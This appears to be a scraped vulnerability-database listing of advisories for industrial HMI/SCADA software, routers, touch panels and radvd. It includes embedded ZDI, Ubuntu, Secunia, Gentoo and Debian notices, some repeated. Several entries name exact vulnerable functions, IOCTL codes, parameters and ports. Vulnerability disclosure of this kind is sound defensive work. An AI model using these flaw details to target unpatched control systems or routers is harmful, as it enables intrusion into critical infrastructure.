var-202407-0234 Delta Electronics CNCSoft-G2 lacks proper validation of the length of user-supplied data prior to copying it to a fixed-length heap-based buffer. If a target visits a malicious page or opens a malicious file an attacker can leverage this vulnerability to execute code in the context of the current process. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Delta Electronics CNCSoft-G2. Delta Electronics CNCSoft-G2 is a human-machine interface (HMI) software from Delta Electronics, a Chinese company
var-202407-0233 Delta Electronics CNCSoft-G2 lacks proper validation of the length of user-supplied data prior to copying it to a fixed-length stack-based buffer. If a target visits a malicious page or opens a malicious file an attacker can leverage this vulnerability to execute code in the context of the current process. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Delta Electronics CNCSoft-G2. Delta Electronics CNCSoft-G2 is a human-machine interface (HMI) software from Delta Electronics, a Chinese company
var-202407-0232 Delta Electronics CNCSoft-G2 lacks proper validation of user-supplied data, which can result in a memory corruption condition. If a target visits a malicious page or opens a malicious file an attacker can leverage this vulnerability to execute code in the context of the current process. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Delta Electronics CNCSoft-G2. Delta Electronics CNCSoft-G2 is a human-machine interface (HMI) software from Delta Electronics, a Chinese company
var-201112-0097 Stack-based buffer overflow in the CmpWebServer component in 3S CoDeSys 3.4 SP4 Patch 2 and earlier, as used on the ABB AC500 PLC and possibly other products, allows remote attackers to execute arbitrary code via a long URI to TCP port 8080. CoDeSys is a powerful PLC software programming tool that supports IEC61131-3 standard IL, ST, FBD, LD, CFC, SFC six PLC programming languages. The GatewayService has an integer overflow. The GatewayService uses the 32-bit value offset at the header 0x0c to specify the size of the received data. The program receives this value, increasing the number of 0x34 and allocating the amount of memory can cause an integer overflow. CmpWebServer is a component of the 3SRTESrv3 and CoDeSysControlService services for handling 8080 port connections. The function 0040f480 copies the input URI to a limited stack buffer, which can trigger a buffer overflow. 3S CoDeSys handles the Content-Length value in an HTTP POST request to trigger a null pointer reference. CoDeSys is prone to a stack-based buffer-overflow and an integer-overflow vulnerability. Failed attacks may cause a denial-of-service condition
var-201801-0152 An Untrusted Pointer Dereference issue was discovered in Advantech WebAccess versions prior to 8.3. There are multiple vulnerabilities that may allow an attacker to cause the program to use an invalid memory address, resulting in a program crash. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess. Authentication is not required to exploit this vulnerability.The specific flaw exists within the implementation of the 0x27eb IOCTL in the webvrpcs process. An attacker can leverage this functionality to execute code under the context of Administrator. Advantech WebAccess is a suite of browser-based HMI/SCADA software from Advantech. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. A denial of service vulnerability exists in versions prior to Advantech WebAccess 8.3
var-201801-0151 A Stack-based Buffer Overflow issue was discovered in Advantech WebAccess versions prior to 8.3. There are multiple instances of a vulnerability that allows too much data to be written to a location on the stack. Advantech WebAccess Contains a buffer error vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess. Authentication is not required to exploit this vulnerability.The specific flaw exists within the parsing of the command line in the bwprtscr utility. An attacker can leverage this functionality to execute code under the context of Administrator. Advantech WebAccess is a suite of browser-based HMI/SCADA software from Advantech. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment
var-201807-0341 ABB Panel Builder 800 all versions has an improper input validation vulnerability which may allow an attacker to insert and run arbitrary code on a computer where the affected product is used. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within the handling of the IPAddress parameters of the ABB BEControlLogix OPC Driver. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a heap-based buffer. An attacker can leverage this vulnerability to execute code under the context of an administrator. ABB Panel Builder 800 is a web-based HMI (Human Machine Interface) system from ABB, Switzerland
var-201806-1058 Crestron TSW-1060, TSW-760, TSW-560, TSW-1060-NC, TSW-760-NC, and TSW-560-NC devices before 2.001.0037.001 allow unauthenticated remote code execution via a Bash shell service in Crestron Toolbox Protocol (CTP). This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Crestron's Android-based products. Authentication is required to exploit this vulnerability.The specific flaw exists within the ADDUSER command of the CTP console. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker could leverage this vulnerability to execute code with root privileges. CrestronTSW-1060 and other are touch screen devices of Crestron Electronics of the United States. There are security vulnerabilities in several Crestron products
var-201906-1029 In WebAccess/SCADA Versions 8.3.5 and prior, multiple untrusted pointer dereference vulnerabilities may allow a remote attacker to execute arbitrary code. WebAccess/SCADA Is NULL A vulnerability related to pointer dereference exists.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Authentication is not required to exploit this vulnerability. The specific flaw exists within the implementation of the 0x2776 IOCTL in the webvrpcs process. The issue results from the lack of proper validation of a user-supplied value prior to dereferencing it as a pointer. An attacker can leverage this vulnerability to execute code in the context of Administrator. Advantech WebAccess/SCADA is a browser-based SCADA software from Advantech, Taiwan. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. Advantech WebAccess/SCADA is prone to the following security vulnerabilities: 1. A directory-traversal vulnerability 2. Multiple stack-based buffer-overflow vulnerabilities 3. Multiple heap-based buffer-overflow vulnerabilities 4. An information disclosure vulnerability 5. Multiple remote-code execution vulnerabilities An attacker can exploit these issues to execute arbitrary code in the context of the application, modify and delete files, use directory-traversal sequences (â??../â??) to retrieve arbitrary files, escalate privileges and perform certain unauthorized actions or obtain sensitive information. This may aid in further attacks. Advantech WebAccess/SCADA Versions 8.3.5 and prior versions are vulnerable. This vulnerability stems from improper design or implementation problems in the code development process of network systems or products
var-202004-0077 There are multiple ways an unauthenticated attacker could perform SQL injection on WebAccess/NMS (versions prior to 3.0.2) to gain access to sensitive information. This vulnerability allows remote attackers to disclose sensitive information on affected installations of Advantech WebAccess/NMS. Authentication is not required to exploit this vulnerability.The specific flaw exists within the processing of calls to the handleTargetsByDeviceName method of the MibBrowser class. When parsing the deviceName parameter of the targets endpoint, the process does not properly validate a user-supplied string before using it to construct SQL queries. An attacker can leverage this vulnerability to disclose file contents in the context of SYSTEM. Advantech WebAccess/NMS is a set of Web browser-based Network Management System (NMS) software package developed by China Taiwan Advantech Corporation. There is a SQL injection vulnerability in Advantech WebAccess/NMS versions earlier than 3.0.2
var-202206-2050 The affected product is vulnerable to multiple SQL injections, which may allow an unauthorized attacker to disclose information. Authentication is not required to exploit this vulnerability.The specific flaw exists within the NetworkServlet endpoint, which listens on TCP port 8080 by default. When parsing the PROP_GetCommunity and PROP_SetCommunity elements of the performSearchDevice action, the process does not properly validate a user-supplied string before using it to construct SQL queries. An attacker can leverage this vulnerability to disclose stored credentials, leading to further compromise
var-202305-1981 D-Link DIR-2150 SetSysEmailSettings AccountName Command Injection Remote Code Execution Vulnerability. This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of D-Link DIR-2150 routers. Although authentication is required to exploit this vulnerability, the existing authentication mechanism can be bypassed. The specific flaw exists within the SOAP API interface, which listens on TCP port 80 by default. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-20555. D-Link DIR-2150 is a wireless router from D-Link, a Chinese company
var-202305-0214 D-Link DIR-2640 HNAP LoginPassword Authentication Bypass Vulnerability. This vulnerability allows network-adjacent attackers to bypass authentication on affected installations of D-Link DIR-2640 routers. Authentication is not required to exploit this vulnerability. The specific flaw exists within the web management interface, which listens on TCP port 80 by default. A specially crafted login request can cause authentication to succeed without providing proper credentials. An attacker can leverage this vulnerability to bypass authentication on the system. Was ZDI-CAN-19549. D-Link DIR-2640 is a high-power Wi-Fi router from China's D-Link
var-202305-0130 D-Link DIR-2640 EmailFrom Command Injection Remote Code Execution Vulnerability. This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of D-Link DIR-2640 routers. Although authentication is required to exploit this vulnerability, the existing authentication mechanism can be bypassed. The specific flaw exists within the handling of the EmailFrom parameter provided to the HNAP1 endpoint. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-19550. D-Link DIR-2640 is a high-power Wi-Fi router from China's D-Link
var-202407-0441 A vulnerability has been identified in SIMATIC PCS 7 V9.1 (All versions), SIMATIC WinCC Runtime Professional V18 (All versions), SIMATIC WinCC Runtime Professional V19 (All versions < V19 Update 2), SIMATIC WinCC V7.4 (All versions < V7.4 SP1 Update 23), SIMATIC WinCC V7.5 (All versions < V7.5 SP2 Update 17), SIMATIC WinCC V8.0 (All versions < V8.0 Update 5). The affected products do not properly handle certain requests to their web application, which may lead to the leak of privileged information. This could allow an unauthenticated remote attacker to retrieve information such as users and passwords. Siemens SIMATIC PCS 7 is a process control system from Siemens, Germany. SIMATIC WinCC is an automated supervisory control and data acquisition (SCADA) system. SIMATIC WinCC Runtime Professional is a visual runtime platform for operators to control and monitor machines and equipment
var-201105-0156 Multiple buffer overflows in the ISSymbol ActiveX control in ISSymbol.ocx 61.6.0.0 and 301.1009.2904.0 in the ISSymbol virtual machine, as distributed in Advantech Studio 6.1 SP6 61.6.01.05, InduSoft Web Studio before 7.0+SP1, and InduSoft Thin Client 7.0, allow remote attackers to execute arbitrary code via a long (1) InternationalOrder, (2) InternationalSeparator, or (3) LogFileName property value; or (4) a long bstrFileName argument to the OpenScreen method. Overly long to method bstrFileName argument. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Indusoft Thin Client. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within ISSymbol.ocx ActiveX component. When an overly large string is passed as the 'InternationalOrder' parameter, a heap overflow occurs. This vulnerability can be leveraged to execute code under the context of the user running the browser. InduSoft Web Studio is a powerful and complete graphics control software that includes the various functional modules required to develop Human Machine Interface (HMI), Management Control, Data Acquisition System (SCADA) and embedded control. The Advantech Studio ISSymbol ActiveX control handles boundary errors in the \"InternationalSeparator\" property. The Advantech Studio ISSymbol ActiveX control is prone to multiple buffer-overflow vulnerabilities because the application fails to perform adequate boundary checks on user-supplied input. Failed exploit attempts will likely result in denial-of-service conditions. Advantech Studio 6.1 SP6 Build 61.6.01.05 is vulnerable; other versions may also be affected. There are multiple buffer overflow vulnerabilities in InduSoft ISSymbol ActiveX control 6.1 SP6 Build 61.6.01.05 (ISSymbol.ocx 61.6.0.0) and other versions. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ZDI-12-168 : InduSoft Thin Client ISSymbol InternationalSeparator Remote Code Execution Vulnerability http://www.zerodayinitiative.com/advisories/ZDI-12-168 August 29, 2012 - -- CVE ID: CVE-2011-0340 - -- CVSS: 7.5, AV:N/AC:L/Au:N/C:P/I:P/A:P - -- Affected Vendors: Indusoft - -- Affected Products: Indusoft WebStudio - -- TippingPoint(TM) IPS Customer Protection: TippingPoint IPS customers have been protected against this vulnerability by Digital Vaccine protection filter ID 12446. - -- Vendor Response: Indusoft has issued an update to correct this vulnerability. More details can be found at: http://www.indusoft.com/hotfixes/hotfixes.php - -- Disclosure Timeline: 2011-12-19 - Vulnerability reported to vendor 2012-08-29 - Coordinated public release of advisory - -- Credit: This vulnerability was discovered by: * Alexander Gavrun - -- About the Zero Day Initiative (ZDI): Established by TippingPoint, The Zero Day Initiative (ZDI) represents a best-of-breed model for rewarding security researchers for responsibly disclosing discovered vulnerabilities. Researchers interested in getting paid for their security research through the ZDI can find more information and sign-up at: http://www.zerodayinitiative.com The ZDI is unique in how the acquired vulnerability information is used. TippingPoint does not re-sell the vulnerability details or any exploit code. Instead, upon notifying the affected product vendor, TippingPoint provides its customers with zero day protection through its intrusion prevention technology. Explicit details regarding the specifics of the vulnerability are not exposed to any parties until an official vendor patch is publicly available. Furthermore, with the altruistic aim of helping to secure a broader user base, TippingPoint provides this vulnerability information confidentially to security vendors (including competitors) who have a vulnerability protection or mitigation product. Our vulnerability disclosure policy is available online at: http://www.zerodayinitiative.com/advisories/disclosure_policy/ Follow the ZDI on Twitter: http://twitter.com/thezdi -----BEGIN PGP SIGNATURE----- Version: PGP Desktop 10.2.0 (Build 1950) Charset: utf-8 wsBVAwUBUD4cZ1VtgMGTo1scAQJoagf/ZpDTiahOQlERNABRglBe8krgQHhSHddX qVTQjFEyoOL8df5cA/I3JLJxEYRzcT0k8FSdoHUAMDWA8Oxv1BB62r7fgHC1BFjp jbH6u0mL+eYd95jqwfYaruakhABiCRR73nCxYvYGb1Bvx6piBDneD9E+Nx+qycF5 HKb5Fr0wwT+sWssIsnAHx5jDUamdRyQfOR1MAzb6GfKWDsRqwr/T5hWvRLqbZ3Cj VXwmd+MIIAQZIMJ8swKgBvbSeV4tcePun1NhqJYAJtySYR6a6oF112Gk+kXlNXDi EvynyGSXvzLMKEd+vmzSBbVeftCxNQJ8Ce4Vg+LYMGk0YHfoupt3gQ== =Fw26 -----END PGP SIGNATURE-----
var-201402-0028 The process_rs function in the router advertisement daemon (radvd) before 1.8.2, when UnicastOnly is enabled, allows remote attackers to cause a denial of service (temporary service hang) via a large number of ND_ROUTER_SOLICIT requests. radvd is prone to the follow security vulnerabilities: 1. Multiple local privilege-escalation vulnerability. 2. A local arbitrary file-overwrite vulnerability. 3. Multiple remote denial-of-service vulnerabilities. An attacker can exploit these issues to execute arbitrary code with administrative privileges, overwrite arbitrary files, and cause denial-of-service conditions. The software can replace IPv6 routing for stateless address auto-configuration. An input validation vulnerability exists in the 'process_rs' function in radvd 1.8.1 and earlier. ========================================================================== Ubuntu Security Notice USN-1257-1 November 10, 2011 radvd vulnerabilities ========================================================================== A security issue affects these releases of Ubuntu and its derivatives: - Ubuntu 11.10 - Ubuntu 11.04 - Ubuntu 10.10 - Ubuntu 10.04 LTS Summary: radvd could be made to crash or overwrite certain files if it received specially crafted network traffic. Software Description: - radvd: Router Advertisement Daemon Details: Vasiliy Kulikov discovered that radvd incorrectly parsed the ND_OPT_DNSSL_INFORMATION option. The default compiler options for affected releases should reduce the vulnerability to a denial of service. This issue only affected Ubuntu 11.04 and 11.10. (CVE-2011-3601) Vasiliy Kulikov discovered that radvd incorrectly filtered interface names when creating certain files. (CVE-2011-3602) Vasiliy Kulikov discovered that radvd incorrectly handled certain lengths. (CVE-2011-3604) Vasiliy Kulikov discovered that radvd incorrectly handled delays when used in unicast mode, which is not the default in Ubuntu. (CVE-2011-3605) Update instructions: The problem can be corrected by updating your system to the following package versions: Ubuntu 11.10: radvd 1:1.8-1ubuntu0.1 Ubuntu 11.04: radvd 1:1.7-1ubuntu0.1 Ubuntu 10.10: radvd 1:1.6-1ubuntu0.1 Ubuntu 10.04 LTS: radvd 1:1.3-1.1ubuntu0.1 In general, a standard system update will make all the necessary changes. References: http://www.ubuntu.com/usn/usn-1257-1 CVE-2011-3601, CVE-2011-3602, CVE-2011-3604, CVE-2011-3605 Package Information: https://launchpad.net/ubuntu/+source/radvd/1:1.8-1ubuntu0.1 https://launchpad.net/ubuntu/+source/radvd/1:1.7-1ubuntu0.1 https://launchpad.net/ubuntu/+source/radvd/1:1.6-1ubuntu0.1 https://launchpad.net/ubuntu/+source/radvd/1:1.3-1.1ubuntu0.1 . ---------------------------------------------------------------------- Secunia is hiring! Find your next job here: http://secunia.com/company/jobs/ ---------------------------------------------------------------------- TITLE: Gentoo update for radvd SECUNIA ADVISORY ID: SA46930 VERIFY ADVISORY: Secunia.com http://secunia.com/advisories/46930/ Customer Area (Credentials Required) https://ca.secunia.com/?page=viewadvisory&vuln_id=46930 RELEASE DATE: 2011-11-21 DISCUSS ADVISORY: http://secunia.com/advisories/46930/#comments AVAILABLE ON SITE AND IN CUSTOMER AREA: * Last Update * Popularity * Comments * Criticality Level * Impact * Where * Solution Status * Operating System / Software * CVE Reference(s) http://secunia.com/advisories/46930/ ONLY AVAILABLE IN CUSTOMER AREA: * Authentication Level * Report Reliability * Secunia PoC * Secunia Analysis * Systems Affected * Approve Distribution * Remediation Status * Secunia CVSS Score * CVSS https://ca.secunia.com/?page=viewadvisory&vuln_id=46930 ONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI: * AUTOMATED SCANNING http://secunia.com/vulnerability_scanning/personal/ http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/ DESCRIPTION: Gentoo has issued an update for radvd. For more information: SA46200 SOLUTION: Update to "net-misc/radvd-1.8.2" or later. ORIGINAL ADVISORY: GLSA 201111-08: http://www.gentoo.org/security/en/glsa/glsa-201111-08.xml OTHER REFERENCES: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/ DEEP LINKS: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/ EXTENDED DESCRIPTION: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/ EXTENDED SOLUTION: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/ EXPLOIT: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/ ---------------------------------------------------------------------- About: This Advisory was delivered by Secunia as a free service to help private users keeping their systems up to date against the latest vulnerabilities. Subscribe: http://secunia.com/advisories/secunia_security_advisories/ Definitions: (Criticality, Where etc.) http://secunia.com/advisories/about_secunia_advisories/ Please Note: Secunia recommends that you verify all advisories you receive by clicking the link. Secunia NEVER sends attached files with advisories. Secunia does not advise people to install third party patches, only use those supplied by the vendor. ---------------------------------------------------------------------- Unsubscribe: Secunia Security Advisories http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org ---------------------------------------------------------------------- . - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 201111-08 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: High Title: radvd: Multiple vulnerabilities Date: November 20, 2011 Bugs: #385967 ID: 201111-08 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis ======== Multiple vulnerabilities have been found in radvd which could potentially lead to privilege escalation, data loss, or a Denial of Service. Background ========== radvd is an IPv6 router advertisement daemon for Linux and BSD. Affected packages ================= ------------------------------------------------------------------- Package / Vulnerable / Unaffected ------------------------------------------------------------------- 1 net-misc/radvd < 1.8.2 >= 1.8.2 Description =========== Multiple vulnerabilities have been discovered in radvd. Please review the CVE identifiers referenced below for details. Workaround ========== There is no known workaround at this time. Resolution ========== All radvd users should upgrade to the latest stable version: # emerge --sync # emerge --ask --oneshot --verbose ">=net-misc/radvd-1.8.2" References ========== [ 1 ] CVE-2011-3601 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-3601 [ 2 ] CVE-2011-3602 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-3602 [ 3 ] CVE-2011-3603 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-3603 [ 4 ] CVE-2011-3604 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-3604 [ 5 ] CVE-2011-3605 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-3605 Availability ============ This GLSA and any updates to it are available for viewing at the Gentoo Security Website: http://security.gentoo.org/glsa/glsa-201111-08.xml Concerns? ========= Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users' machines is of utmost importance to us. Any security concerns should be addressed to security@gentoo.org or alternatively, you may file a bug at https://bugs.gentoo.org. License ======= Copyright 2011 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.5 . -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - ------------------------------------------------------------------------- Debian Security Advisory DSA-2323-1 security@debian.org http://www.debian.org/security/ Yves-Alexis Perez October 26, 2011 http://www.debian.org/security/faq - ------------------------------------------------------------------------- Package : radvd Vulnerability : several Problem type : remote Debian-specific: no CVE ID : CVE-2011-3602 CVE-2011-3604 CVE-2011-3605 Debian Bug : 644614 Multiple security issues were discovered by Vasiliy Kulikov in radvd, an IPv6 Router Advertisement daemon: CVE-2011-3602 set_interface_var() function doesn't check the interface name, which is chosen by an unprivileged user. CVE-2011-3604 process_ra() function lacks multiple buffer length checks which could lead to memory reads outside the stack, causing a crash of the daemon. CVE-2011-3605 process_rs() function calls mdelay() (a function to wait for a defined time) unconditionnally when running in unicast-only mode. As this call is in the main thread, that means all request processing is delayed (for a time up to MAX_RA_DELAY_TIME, 500 ms by default). Note: upstream and Debian default is to use anycast mode. For the oldstable distribution (lenny), this problem has been fixed in version 1:1.1-3.1. For the stable distribution (squeeze), this problem has been fixed in version 1:1.6-1.1. For the testing distribution (wheezy), this problem has been fixed in version 1:1.8-1.2. For the unstable distribution (sid), this problem has been fixed in version 1:1.8-1.2. We recommend that you upgrade your radvd packages. Further information about Debian Security Advisories, how to apply these updates to your system and frequently asked questions can be found at: http://www.debian.org/security/ Mailing list: debian-security-announce@lists.debian.org -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.11 (GNU/Linux) iEYEARECAAYFAk6q2QcACgkQXm3vHE4uylqlEQCgpdFwHzpKLF6KHlJs4y/ykeo/ oEYAniJXFaff25pMtXzM6Ovu8zslZm7H =VfHu -----END PGP SIGNATURE-----
var-201402-0027 The process_ra function in the router advertisement daemon (radvd) before 1.8.2 allows remote attackers to cause a denial of service (stack-based buffer over-read and crash) via unspecified vectors. radvd is prone to the follow security vulnerabilities: 1. Multiple local privilege-escalation vulnerability. 2. A local arbitrary file-overwrite vulnerability. 3. Multiple remote denial-of-service vulnerabilities. An attacker can exploit these issues to execute arbitrary code with administrative privileges, overwrite arbitrary files, and cause denial-of-service conditions. The software can replace IPv6 routing for stateless address auto-configuration. A security vulnerability exists in the 'process_ra' function in radvd 1.8.1 and earlier. ========================================================================== Ubuntu Security Notice USN-1257-1 November 10, 2011 radvd vulnerabilities ========================================================================== A security issue affects these releases of Ubuntu and its derivatives: - Ubuntu 11.10 - Ubuntu 11.04 - Ubuntu 10.10 - Ubuntu 10.04 LTS Summary: radvd could be made to crash or overwrite certain files if it received specially crafted network traffic. Software Description: - radvd: Router Advertisement Daemon Details: Vasiliy Kulikov discovered that radvd incorrectly parsed the ND_OPT_DNSSL_INFORMATION option. The default compiler options for affected releases should reduce the vulnerability to a denial of service. This issue only affected Ubuntu 11.04 and 11.10. (CVE-2011-3601) Vasiliy Kulikov discovered that radvd incorrectly filtered interface names when creating certain files. (CVE-2011-3602) Vasiliy Kulikov discovered that radvd incorrectly handled certain lengths. (CVE-2011-3604) Vasiliy Kulikov discovered that radvd incorrectly handled delays when used in unicast mode, which is not the default in Ubuntu. If used in unicast mode, a remote attacker could cause radvd outages, resulting in a denial of service. (CVE-2011-3605) Update instructions: The problem can be corrected by updating your system to the following package versions: Ubuntu 11.10: radvd 1:1.8-1ubuntu0.1 Ubuntu 11.04: radvd 1:1.7-1ubuntu0.1 Ubuntu 10.10: radvd 1:1.6-1ubuntu0.1 Ubuntu 10.04 LTS: radvd 1:1.3-1.1ubuntu0.1 In general, a standard system update will make all the necessary changes. References: http://www.ubuntu.com/usn/usn-1257-1 CVE-2011-3601, CVE-2011-3602, CVE-2011-3604, CVE-2011-3605 Package Information: https://launchpad.net/ubuntu/+source/radvd/1:1.8-1ubuntu0.1 https://launchpad.net/ubuntu/+source/radvd/1:1.7-1ubuntu0.1 https://launchpad.net/ubuntu/+source/radvd/1:1.6-1ubuntu0.1 https://launchpad.net/ubuntu/+source/radvd/1:1.3-1.1ubuntu0.1 . ---------------------------------------------------------------------- Secunia is hiring! Find your next job here: http://secunia.com/company/jobs/ ---------------------------------------------------------------------- TITLE: Gentoo update for radvd SECUNIA ADVISORY ID: SA46930 VERIFY ADVISORY: Secunia.com http://secunia.com/advisories/46930/ Customer Area (Credentials Required) https://ca.secunia.com/?page=viewadvisory&vuln_id=46930 RELEASE DATE: 2011-11-21 DISCUSS ADVISORY: http://secunia.com/advisories/46930/#comments AVAILABLE ON SITE AND IN CUSTOMER AREA: * Last Update * Popularity * Comments * Criticality Level * Impact * Where * Solution Status * Operating System / Software * CVE Reference(s) http://secunia.com/advisories/46930/ ONLY AVAILABLE IN CUSTOMER AREA: * Authentication Level * Report Reliability * Secunia PoC * Secunia Analysis * Systems Affected * Approve Distribution * Remediation Status * Secunia CVSS Score * CVSS https://ca.secunia.com/?page=viewadvisory&vuln_id=46930 ONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI: * AUTOMATED SCANNING http://secunia.com/vulnerability_scanning/personal/ http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/ DESCRIPTION: Gentoo has issued an update for radvd. For more information: SA46200 SOLUTION: Update to "net-misc/radvd-1.8.2" or later. ORIGINAL ADVISORY: GLSA 201111-08: http://www.gentoo.org/security/en/glsa/glsa-201111-08.xml OTHER REFERENCES: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/ DEEP LINKS: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/ EXTENDED DESCRIPTION: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/ EXTENDED SOLUTION: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/ EXPLOIT: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/ ---------------------------------------------------------------------- About: This Advisory was delivered by Secunia as a free service to help private users keeping their systems up to date against the latest vulnerabilities. Subscribe: http://secunia.com/advisories/secunia_security_advisories/ Definitions: (Criticality, Where etc.) http://secunia.com/advisories/about_secunia_advisories/ Please Note: Secunia recommends that you verify all advisories you receive by clicking the link. Secunia NEVER sends attached files with advisories. Secunia does not advise people to install third party patches, only use those supplied by the vendor. ---------------------------------------------------------------------- Unsubscribe: Secunia Security Advisories http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org ---------------------------------------------------------------------- . - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 201111-08 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: High Title: radvd: Multiple vulnerabilities Date: November 20, 2011 Bugs: #385967 ID: 201111-08 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis ======== Multiple vulnerabilities have been found in radvd which could potentially lead to privilege escalation, data loss, or a Denial of Service. Background ========== radvd is an IPv6 router advertisement daemon for Linux and BSD. Affected packages ================= ------------------------------------------------------------------- Package / Vulnerable / Unaffected ------------------------------------------------------------------- 1 net-misc/radvd < 1.8.2 >= 1.8.2 Description =========== Multiple vulnerabilities have been discovered in radvd. Please review the CVE identifiers referenced below for details. Workaround ========== There is no known workaround at this time. Resolution ========== All radvd users should upgrade to the latest stable version: # emerge --sync # emerge --ask --oneshot --verbose ">=net-misc/radvd-1.8.2" References ========== [ 1 ] CVE-2011-3601 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-3601 [ 2 ] CVE-2011-3602 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-3602 [ 3 ] CVE-2011-3603 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-3603 [ 4 ] CVE-2011-3604 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-3604 [ 5 ] CVE-2011-3605 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2011-3605 Availability ============ This GLSA and any updates to it are available for viewing at the Gentoo Security Website: http://security.gentoo.org/glsa/glsa-201111-08.xml Concerns? ========= Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users' machines is of utmost importance to us. Any security concerns should be addressed to security@gentoo.org or alternatively, you may file a bug at https://bugs.gentoo.org. License ======= Copyright 2011 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.5 . -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - ------------------------------------------------------------------------- Debian Security Advisory DSA-2323-1 security@debian.org http://www.debian.org/security/ Yves-Alexis Perez October 26, 2011 http://www.debian.org/security/faq - ------------------------------------------------------------------------- Package : radvd Vulnerability : several Problem type : remote Debian-specific: no CVE ID : CVE-2011-3602 CVE-2011-3604 CVE-2011-3605 Debian Bug : 644614 Multiple security issues were discovered by Vasiliy Kulikov in radvd, an IPv6 Router Advertisement daemon: CVE-2011-3602 set_interface_var() function doesn't check the interface name, which is chosen by an unprivileged user. CVE-2011-3604 process_ra() function lacks multiple buffer length checks which could lead to memory reads outside the stack, causing a crash of the daemon. CVE-2011-3605 process_rs() function calls mdelay() (a function to wait for a defined time) unconditionnally when running in unicast-only mode. As this call is in the main thread, that means all request processing is delayed (for a time up to MAX_RA_DELAY_TIME, 500 ms by default). Note: upstream and Debian default is to use anycast mode. For the oldstable distribution (lenny), this problem has been fixed in version 1:1.1-3.1. For the stable distribution (squeeze), this problem has been fixed in version 1:1.6-1.1. For the testing distribution (wheezy), this problem has been fixed in version 1:1.8-1.2. For the unstable distribution (sid), this problem has been fixed in version 1:1.8-1.2. We recommend that you upgrade your radvd packages. Further information about Debian Security Advisories, how to apply these updates to your system and frequently asked questions can be found at: http://www.debian.org/security/ Mailing list: debian-security-announce@lists.debian.org -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.11 (GNU/Linux) iEYEARECAAYFAk6q2QcACgkQXm3vHE4uylqlEQCgpdFwHzpKLF6KHlJs4y/ykeo/ oEYAniJXFaff25pMtXzM6Ovu8zslZm7H =VfHu -----END PGP SIGNATURE-----
Vulnerabilities are sorted by update time (recent to old).
ID Description Published Updated
jvndb-2024-000125 Multiple vulnerabilities in I-O DATA routers UD-LT1 and UD-LT1/EX 2 months ago 2 months ago
